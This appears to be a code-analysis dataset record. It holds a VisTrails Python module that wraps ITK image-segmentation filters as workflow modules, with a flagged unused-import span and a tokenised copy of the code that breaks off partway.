INCLUDING THE\n## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n##\n############################################################################\nimport itk\nimport core.modules\nfrom core.modules.vistrails_module import Module, ModuleError\n\nfrom ITK import *\nfrom Image import Image\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class IsolatedWatershedImageFilter(Module):\n my_namespace=\"Filter|Segmentation\"\n\n", "metadata": "root.IsolatedWatershedImageFilter", "header": "['module', '___EOS___']", "index": 28 }, { "content": " def compute(self):\n im = self.get_input(\"Input Image\")\n\n #check for input PixelType\n if self.has_input(\"Input PixelType\"):\n inPixelType = self.get_input(\"Input PixelType\")\n else:\n inPixelType = im.getPixelType()\n\n #check for output PixelType\n if self.has_input(\"Output PixelType\"):\n outPixelType = self.get_input(\"Output PixelType\")\n else:\n outPixelType = inPixelType\n\n #check for dimension\n if self.has_input(\"Dimension\"):\n dim = self.get_input(\"Dimension\")\n else:\n dim = im.getDim()\n\n #set up filter\n inImgType = itk.Image[inPixelType._type, dim]\n outImgType = itk.Image[outPixelType._type, dim]\n\n self.filter_ = itk.IsolatedWatershedImageFilter[inImgType, outImgType].New(im.getImg())\n\n if self.has_input(\"Seed1\"):\n self.filter_.SetSeed1(self.get_input(\"Seed1\").ind_)\n\n if self.has_input(\"Seed2\"):\n self.filter_.SetSeed2(self.get_input(\"Seed2\").ind_)\n\n if self.has_input(\"ReplaceValue1\"):\n self.filter_.SetReplaceValue1(self.get_input(\"ReplaceValue1\"))\n\n if self.has_input(\"ReplaceValue2\"):\n self.filter_.SetReplaceValue2(self.get_input(\"ReplaceValue2\"))\n\n if self.has_input(\"Threshold\"):\n self.filter_.SetThreshold(self.get_input(\"Threshold\"))\n\n self.filter_.Update()\n\n #setup output image\n outIm = Image()\n outIm.setImg(self.filter_.GetOutput())\n outIm.setPixelType(outPixelType)\n outIm.setDim(dim)\n\n self.set_output(\"Output Image\", outIm)\n self.set_output(\"Output PixelType\", outPixelType)\n self.set_output(\"Filter\", self)", "metadata": "root.IsolatedWatershedImageFilter.compute", "header": "['class', 'IsolatedWatershedImageFilter', '(', 'Module', ')', ':', '___EOS___']", "index": 31 }, { "content": " @classmethod\n def register(cls, reg, basic):\n reg.add_module(cls, name=\"Isolated Watershed Image Filter\", namespace=cls.my_namespace)\n\n reg.add_input_port(cls, \"Input Image\", (Image, 'Input Image'))\n reg.add_input_port(cls, \"Input PixelType\", (PixelType, 'Input PixelType'),True)\n reg.add_input_port(cls, \"Dimension\", (basic.Integer, 'Dimension'),True)\n reg.add_input_port(cls, \"Seed1\", (Index2D, 'Seed 1 Location'))\n\n reg.add_input_port(cls, \"Output PixelType\", (PixelType, 'Output PixelType'), True)\n reg.add_input_port(cls, \"Threshold\", (basic.Float, 'Threshold'), True)\n reg.add_input_port(cls, \"Seed2\", (Index2D, 'Seed 2 Location'))\n reg.add_input_port(cls, \"ReplaceValue1\", (basic.Float, 'Replacement Value 1'), True);\n reg.add_input_port(cls, \"ReplaceValue2\", (basic.Float, 'Replacement Value 2'), True);\n\n reg.add_output_port(cls, \"Output Image\", (Image, 'Output Image'))\n reg.add_output_port(cls, \"Output PixelType\", (PixelType, 'Output PixelType'))", "metadata": "root.IsolatedWatershedImageFilter.register", "header": "['class', 'IsolatedWatershedImageFilter', '(', 'Module', ')', ':', '___EOS___']", "index": 85 }, { "content": "class ConnectedThresholdImageFilter(Module):\n my_namespace=\"Filter|Segmentation\"\n\n", "metadata": "root.ConnectedThresholdImageFilter", "header": "['module', '___EOS___']", "index": 103 }, { "content": " def compute(self):\n im = self.get_input(\"Input Image\")\n\n #check for input PixelType\n if self.has_input(\"Input PixelType\"):\n inPixelType = self.get_input(\"Input PixelType\")\n else:\n inPixelType = im.getPixelType()\n\n #check for output PixelType\n if self.has_input(\"Output PixelType\"):\n outPixelType = self.get_input(\"Output PixelType\")\n else:\n outPixelType = inPixelType\n\n #check for dimension\n if self.has_input(\"Dimension\"):\n dim = self.get_input(\"Dimension\")\n else:\n dim = im.getDim()\n\n if self.has_input(\"Seed2D\"):\n seed = self.get_input(\"Seed2D\")\n else:\n seed = self.get_input(\"Seed3D\")\n\n replace = self.get_input(\"Replace Value\")\n t_lower = self.get_input(\"Lower Value\")\n t_upper = self.get_input(\"Upper Value\")\n\n #setup filter\n inImgType = itk.Image[inPixelType._type, dim]\n outImgType = itk.Image[outPixelType._type, dim]\n\n self.filter_ = itk.ConnectedThresholdImageFilter[inImgType,outImgType].New(im.getImg())\n\n self.filter_.SetSeed(seed.ind_)\n self.filter_.SetReplaceValue(replace)\n self.filter_.SetLower(t_lower)\n self.filter_.SetUpper(t_upper)\n\n self.filter_.Update()\n\n #setup output image\n outIm = Image()\n outIm.setImg(self.filter_.GetOutput())\n outIm.setPixelType(outPixelType)\n outIm.setDim(dim)\n\n self.set_output(\"Output Image\", outIm)\n self.set_output(\"Output PixelType\", outPixelType)", "metadata": "root.ConnectedThresholdImageFilter.compute", "header": "['class', 'ConnectedThresholdImageFilter', '(', 'Module', ')', ':', '___EOS___']", "index": 106 }, { "content": " @classmethod\n def register(cls, reg, basic):\n reg.add_module(cls, name=\"Connected Threshold Image Filter\", namespace=cls.my_namespace)\n\n reg.add_input_port(cls, \"Input Image\", (Image, 'Input Image'))\n reg.add_input_port(cls, \"Input PixelType\", (PixelType, 'Input PixelType'),True)\n reg.add_input_port(cls, \"Output PixelType\", (PixelType, 'Output PixelType'), True)\n reg.add_input_port(cls, \"Dimension\", (basic.Integer, 'Dimension'),True)\n reg.add_input_port(cls, \"Seed2D\", (Index2D, 'Seed Point'))\n reg.add_input_port(cls, \"Seed3D\", (Index3D, 'Seed Point'))\n reg.add_input_port(cls, \"Replace Value\", (basic.Float, 'Replacement Value'))\n reg.add_input_port(cls, \"Upper Value\", (basic.Float, 'Upper Threshold Value'))\n reg.add_input_port(cls, \"Lower Value\", (basic.Float, 'Lower Threshold Value'))\n\n reg.add_output_port(cls, \"Output Image\", (Image, 'Output Image'))\n reg.add_output_port(cls, \"Output PixelType\", (PixelType, 'Output PixelType'))", "metadata": "root.ConnectedThresholdImageFilter.register", "header": "['class', 'ConnectedThresholdImageFilter', '(', 'Module', ')', ':', '___EOS___']", "index": 158 }, { "content": "class ConfidenceConnectedImageFilter(Module):\n my_namespace=\"Filter|Segmentation\"\n\n", "metadata": "root.ConfidenceConnectedImageFilter", "header": "['module', '___EOS___']", "index": 175 }, { "content": " def compute(self):\n im = self.get_input(\"Input Image\")\n\n #check for input PixelType\n if self.has_input(\"Input PixelType\"):\n inPixelType = self.get_input(\"Input PixelType\")\n else:\n inPixelType = im.getPixelType()\n\n #check for output PixelType\n if self.has_input(\"Output PixelType\"):\n outPixelType = self.get_input(\"Output PixelType\")\n else:\n outPixelType = inPixelType\n\n #check for dimension\n if self.has_input(\"Dimension\"):\n dim = self.get_input(\"Dimension\")\n else:\n dim = im.getDim()\n\n if self.has_input(\"Seed2D\"):\n seed = self.get_input(\"Seed2D\")\n else:\n seed = self.get_input(\"Seed3D\")\n\n replace = self.get_input(\"Replace Value\")\n multiplier = self.get_input(\"Multiplier\")\n iterations = self.get_input(\"Iterations\")\n radius = self.get_input(\"Neighborhood Radius\")\n\n #setup filter\n inImgType = itk.Image[inPixelType._type,dim]\n outImgType = itk.Image[outPixelType._type,dim]\n\n self.filter_ = itk.ConfidenceConnectedImageFilter[inImgType,outImgType].New(im.getImg())\n\n self.filter_.SetReplaceValue(replace)\n self.filter_.SetMultiplier(multiplier)\n self.filter_.SetNumberOfIterations(iterations)\n self.filter_.SetInitialNeighborhoodRadius(radius)\n\n self.filter_.SetSeed(seed.ind_)\n\n self.filter_.Update()\n\n #setup output image\n outIm = Image()\n outIm.setImg(self.filter_.GetOutput())\n outIm.setPixelType(outPixelType)\n outIm.setDim(dim)\n\n self.set_output(\"Output Image\", outIm)\n self.set_output(\"Output PixelType\", outPixelType)", "metadata": "root.ConfidenceConnectedImageFilter.compute", "header": "['class', 'ConfidenceConnectedImageFilter', '(', 'Module', ')', ':', '___EOS___']", "index": 178 }, { "content": " @classmethod\n def register(cls, reg, basic):\n reg.add_module(cls, name=\"Confidence Connected Image Filter\", namespace=cls.my_namespace)\n\n reg.add_input_port(cls, \"Input Image\", (Image, 'Input Image'))\n reg.add_input_port(cls, \"Input PixelType\", (PixelType, 'Input PixelType'),True)\n reg.add_input_port(cls, \"Output PixelType\", (PixelType, 'Output PixelType'), True)\n reg.add_input_port(cls, \"Dimension\", (basic.Integer, 'Dimension'),True)\n reg.add_input_port(cls, \"Seed2D\", (Index2D, 'Seed Point'))\n reg.add_input_port(cls, \"Seed3D\", (Index3D, 'Seed Point'))\n reg.add_input_port(cls, \"Replace Value\", (basic.Float, 'Replacement Value'))\n reg.add_input_port(cls, \"Multiplier\", (basic.Float, 'Multiplier'))\n reg.add_input_port(cls, \"Iterations\", (basic.Float, 'Iterations'))\n reg.add_input_port(cls, \"Neighborhood Radius\", (basic.Float, 'Neighborhood Radius'))\n\n reg.add_output_port(cls, \"Output Image\", (Image, 'Output Image'))\n reg.add_output_port(cls, \"Output PixelType\", (PixelType, 'Output PixelType'))", "metadata": "root.ConfidenceConnectedImageFilter.register", "header": "['class', 'ConfidenceConnectedImageFilter', '(', 'Module', ')', ':', '___EOS___']", "index": 233 }, { "content": "class IsolatedConnectedImageFilter(Module):\n my_namespace=\"Filter|Segmentation\"\n\n", "metadata": "root.IsolatedConnectedImageFilter", "header": "['module', '___EOS___']", "index": 251 }, { "content": " def compute(self):\n im = self.get_input(\"Input Image\")\n #check for input PixelType\n if self.has_input(\"Input PixelType\"):\n inPixelType = self.get_input(\"Input PixelType\")\n else:\n inPixelType = im.getPixelType()\n\n #check for output PixelType\n if self.has_input(\"Output PixelType\"):\n outPixelType = self.get_input(\"Output PixelType\")\n else:\n outPixelType = inPixelType\n\n #check for dimension\n if self.has_input(\"Dimension\"):\n dim = self.get_input(\"Dimension\")\n else:\n dim = im.getDim()\n\n seed1 = self.get_input(\"Seed1\")\n seed2 = self.get_input(\"Seed2\")\n\n replace = self.get_input(\"Replace Value\")\n t_lower = self.get_input(\"Lower Value\")\n t_upper = self.get_input(\"Upper Value\")\n\n inImgType = itk.Image[inPixelType._type,dim]\n outImgType = itk.Image[outPixelType._type,dim]\n\n self.filter_ = itk.IsolatedConnectedImageFilter[inImgType,outImgType].New(im.getImg())\n\n self.filter_.SetReplaceValue(replace)\n self.filter_.SetLower(t_lower)\n self.filter_.SetUpperValueLimit(t_upper)\n self.filter_.SetSeed1(seed1.ind_)\n self.filter_.SetSeed2(seed2.ind_)\n\n self.filter_.Update()\n\n #setup output image\n outIm = Image()\n outIm.setImg(self.filter_.GetOutput())\n outIm.setPixelType(outPixelType)\n outIm.setDim(dim)\n\n self.set_output(\"Output Image\", outIm)\n self.set_output(\"Output PixelType\", outPixelType)", "metadata": "root.IsolatedConnectedImageFilter.compute", "header": "['class', 'IsolatedConnectedImageFilter', '(', 'Module', ')', ':', '___EOS___']", "index": 254 }, { "content": " @classmethod\n def register(cls, reg, basic):\n reg.add_module(cls, name=\"Isolated Connected Image Filter\", namespace=cls.my_namespace)\n\n reg.add_input_port(cls, \"Input Image\", (Image, 'Input Image'))\n reg.add_input_port(cls, \"Input PixelType\", (PixelType, 'Input PixelType'),True)\n reg.add_input_port(cls, \"Output PixelType\", (PixelType, 'Output PixelType'), True)\n reg.add_input_port(cls, \"Dimension\", (basic.Integer, 'Dimension'),True)\n reg.add_input_port(cls, \"Seed1\", (Index2D, 'Seed Point'))\n reg.add_input_port(cls, \"Seed2\", (Index2D, 'Seed Point'))\n reg.add_input_port(cls, \"Replace Value\", (basic.Integer, 'Replacement Value'))\n reg.add_input_port(cls, \"Upper Value\", (basic.Integer, 'Upper Threshold Value'))\n reg.add_input_port(cls, \"Lower Value\", (basic.Integer, 'Lower Threshold Value'))\n\n reg.add_output_port(cls, \"Output Image\", (Image, 'Output Image'))\n reg.add_output_port(cls, \"Output PixelType\", (PixelType, 'Output PixelType'))", "metadata": "root.IsolatedConnectedImageFilter.register", "header": "['class', 'IsolatedConnectedImageFilter', '(', 'Module', ')', ':', '___EOS___']", "index": 303 } ]
[ { "span": "import core.modules", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 19 }, { "span": "from core.modules.vistrails_module import Module, ModuleError", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 61 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Copy", "right", " ", "(", "C", ")", " ", "2006", "-", "2007", " ", "Univers", "it", "y", " ", "of", " ", "Ut", "ah", ".", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Thi", "s", " ", "file", " ", "is", " ", "part", " ", "of", " ", "Vis", "Trail", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Thi", "s", " ", "file", " ", "may", " ", "be", " ", "used", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "GN", "U", " ", "General", " ", "Public", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "License", " ", "version", " ", "2.0", " ", "as", " ", "publi", "shed", " ", "by", " ", "the", " ", "Free", " ", "Sof", "twa", "re", " ", "Foun", "dati", "on_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "and", " ", "appear", "ing", " ", "in", " ", "the", " ", "file", " ", "LICENSE", ".", "GP", "L", " ", "include", "d", " ", "in", " ", "the", " ", "packaging", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "this", " ", "file", ".", " ", " ", "Ple", "ase", " ", "review", " ", "the", " ", "follow", "ing", " ", "to", " ", "ensure", " ", "GN", "U", " ", "General", " ", "Public", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Licen", "sing", " ", "require", "ment", "s", " ", "will", " ", "be", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "http", "://", "www", ".", "opens", "ource", ".", "org", "/", "license", "s", "/", "gpl", "-", "license", ".", "php", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "If", " ", "you", " ", "are", " ", "uns", "ure", " ", "whi", "ch", " ", "license", " ", "is", " ", "appropr", "iate", " ", "for", " ", "your", " ", "use", " ", "(", "for_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "instance", ",", " ", "you", " ", "are", " ", "interest", "ed", " ", "in", " ", "develop", "ing", " ", "a", " ", "commerc", "ial", " ", "derivative_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "of", " ", "Vis", "Trail", "s", "),", " ", "plea", "se", " ", "contact", " ", "us", " ", "at", " ", "contact", "@", "vist", "rail", "s", ".", "org", "._", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Thi", "s", " ", "file", " ", "is", " ", "provided", " ", "AS", " ", "IS", " ", "with", " ", "NO", " ", "WAR", "RAN", "TY", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "INC", "LU", "DING", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "WAR", "RAN", "TY", " ", "OF", " ", "DES", "IGN", ",", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", "._", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "itk", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "core_", "._", "modules_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core_", "._", "modules_", "._", "vist", "rail", "s", "\\u", "module_", "import_", "Module_", ",_", "Modul", "e", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "IT", "K_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Image_", "import_", "Image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Isolat", "ed", "Water", "shed", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "\\u", "namespace_", "=_", "\"", "Filter", "|", "Segmentation", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Isolat", "ed", "Water", "shed", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "compute_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "im_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Image", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "input", " ", "Pix", "el", "Type_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "Pix", "el", "Type_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "Pix", "el", "Type_", "=_", "im_", "._", "get", "Pix", "el", "Type_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "output", " ", "Pix", "el", "Type_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out", "Pix", "el", "Type_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out", "Pix", "el", "Type_", "=_", "in", "Pix", "el", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "dimension_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Dimen", "sion", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dim_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Dimen", "sion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dim_", "=_", "im_", "._", "get", "Dim_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "set", " ", "up", " ", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "in", "Im", "g", "Type_", "=_", "itk", "_", "._", "Image_", "[_", "in", "Pix", "el", "Type_", "._", "\\u", "type_", ",_", "dim_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "g", "Type_", "=_", "itk", "_", "._", "Image_", "[_", "out", "Pix", "el", "Type_", "._", "\\u", "type_", ",_", "dim_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "=_", "itk", "_", "._", "Isolat", "ed", "Water", "shed", "Image", "Filter_", "[_", "in", "Im", "g", "Type_", ",_", "out", "Im", "g", "Type_", "]_", "._", "New_", "(_", "im_", "._", "get", "Img_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "See", "d1", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "filter\\u_", "._", "Set", "See", "d1_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "See", "d1", "\"_", ")_", "._", "ind", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "See", "d2", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "filter\\u_", "._", "Set", "See", "d2_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "See", "d2", "\"_", ")_", "._", "ind", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Replace", "Value", "1", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "filter\\u_", "._", "Set", "Replace", "Value", "1_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Replace", "Value", "1", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Replace", "Value", "2", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "filter\\u_", "._", "Set", "Replace", "Value", "2_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Replace", "Value", "2", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Thresh", "old", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "filter\\u_", "._", "Set", "Threshold_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Thresh", "old", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Update_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "setup", " ", "output", " ", "image_", "\\u\\u\\uNL\\u\\u\\u_", "out", "Im", "_", "=_", "Image_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Img_", "(_", "self_", "._", "filter\\u_", "._", "Get", "Output_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Pix", "el", "Type_", "(_", "out", "Pix", "el", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Dim_", "(_", "dim_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "\"", "Output", " ", "Image", "\"_", ",_", "out", "Im", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "out", "Pix", "el", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "\"", "Filter", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Isolat", "ed", "Water", "shed", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "register_", "(_", "cls_", ",_", "reg_", ",_", "basic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reg_", "._", "add", "\\u", "module_", "(_", "cls_", ",_", "name_", "=_", "\"", "Isolat", "ed", " ", "Water", "shed", " ", "Image", " ", "Filter", "\"_", ",_", "namespace_", "=_", "cls_", "._", "my", "\\u", "namespace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Inp", "ut", " ", "Image", "\"_", ",_", "(_", "Image_", ",_", "'", "Inp", "ut", " ", "Image", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Inp", "ut", " ", "Pix", "el", "Type", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Dimen", "sion", "\"_", ",_", "(_", "basic_", "._", "Integer_", ",_", "'", "Dimen", "sion", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "See", "d1", "\"_", ",_", "(_", "Index", "2", "D_", ",_", "'", "See", "d", " ", "1", " ", "Locat", "ion", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Output", " ", "Pix", "el", "Type", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Thresh", "old", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Thresh", "old", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "See", "d2", "\"_", ",_", "(_", "Index", "2", "D_", ",_", "'", "See", "d", " ", "2", " ", "Locat", "ion", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Replace", "Value", "1", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Replace", "ment", " ", "Value", " ", "1", "'_", ")_", ",_", "True_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Replace", "Value", "2", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Replace", "ment", " ", "Value", " ", "2", "'_", ")_", ",_", "True_", ")_", ";_", 